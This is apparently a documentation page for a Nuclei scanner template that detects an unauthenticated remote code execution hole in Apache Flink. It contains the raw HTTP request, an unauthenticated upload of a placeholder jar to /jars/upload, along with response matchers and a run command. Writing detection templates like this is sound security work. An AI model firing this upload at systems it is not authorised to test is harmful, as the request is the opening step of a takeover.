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Apache Flink - Remote Code Execution

ID: apache-flink-unauth-rce

Severity: critical

Author: pikpikcu

Tags: apache,flink,rce,intrusive,unauth

Description

Section titled “Description”

Apache Flink contains an unauthenticated remote code execution vulnerability.

YAML Source

Section titled “YAML Source”
id: apache-flink-unauth-rce


info:
  name: Apache Flink - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Flink contains an unauthenticated remote code execution vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48978
    - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3
    - https://github.com/LandGrey/flink-unauth-rce
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: apache,flink,rce,intrusive,unauth


http:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3


        --8ce4b16b22b58894aa86c421e8759df3
        Content-Disposition: form-data; name="jarfile";filename="poc.jar"
        Content-Type:application/octet-stream


          {{randstr}}
        --8ce4b16b22b58894aa86c421e8759df3--


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header
        condition: and


      - type: word
        words:
          - "success"
          - "_poc.jar"
        part: body
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402204be87008dbdeab7d31922fca3a932dec5fccf32a898c543afb3c66cd6cc3de0702207d221b76fac1b85ac785fecbaa134877dc47bd6ebc279aa2db7aa567b75e4300:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/apache/apache-flink-unauth-rce.yaml"

View on Github